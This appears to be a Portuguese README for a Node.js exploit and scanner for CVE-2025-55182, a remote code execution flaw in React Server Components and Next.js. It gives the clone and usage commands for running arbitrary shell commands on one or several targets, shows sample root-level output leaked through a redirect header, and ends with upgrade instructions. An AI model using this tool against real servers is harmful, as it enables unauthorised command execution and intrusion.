
Script de exploração e scanner baseado em NodeJS para a vulnerabilidade "React2Shell" dos React Server Components (CVE-2025-55182).
APENAS PARA FINS EDUCACIONAIS E DE PESQUISA EM SEGURANÇA.
Esta ferramenta foi concebida para ajudar profissionais de segurança e administradores a verificar a vulnerabilidade dos seus próprios sistemas. O autor não é responsável por qualquer mau uso, dano ou atos ilegais praticados com este código.
CVE-2025-55182 é uma vulnerabilidade de execução remota de código em react-server-dom-webpack, um pacote principal utilizado por Next.js (App Router) e React 19.
A vulnerabilidade permite que um atacante não autenticado injete payloads maliciosos em React Server Actions. Ao manipular o processo de desserialização, o atacante pode acessar o construtor Function do JavaScript e executar comandos arbitrários do sistema no servidor.
Leia em detalhes: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
Versões Afetadas:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)Este script atualizado utiliza técnicas avançadas de exploração para ser mais fiável:
Next-Action válido. Funciona em qualquer instância vulnerável do Next.js sem reconhecimento manual.Location. Isto evita erros 500 e fornece uma saída limpa.Clonar o repositório:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
Navegar para o diretório:
cd React-Security-CVE-2025-55182-Exploit
Verificar a versão do Node.js: Certifique-se de que tem o Node.js instalado (recomenda-se v18 ou superior).
node -v
(Nota: Este script utiliza bibliotecas padrão do Node.js, pelo que não é necessário npm install.)
O script react2shell.js deteta automaticamente se está a fazer uma varredura num ou em vários alvos.
O comando padrão executado é id.
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
Para executar um comando específico, forneça-o como o último argumento.
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE: A ferramenta executou o comando com sucesso e contrabandeou a saída através do cabeçalho de redirecionamento.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE: O servidor rejeitou o payload ou foi corrigido.
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR: O script não conseguiu alcançar o servidor.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
Se a sua aplicação estiver vulnerável, atualize as suas dependências imediatamente.
Para Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
Para outros frameworks (Waku, Remix, etc.):
Certifique-se de que react-server-dom-webpack é atualizado para v19.2.1 ou superior.
Distribuído sob a Licença MIT. Consulte LICENSE para mais informações.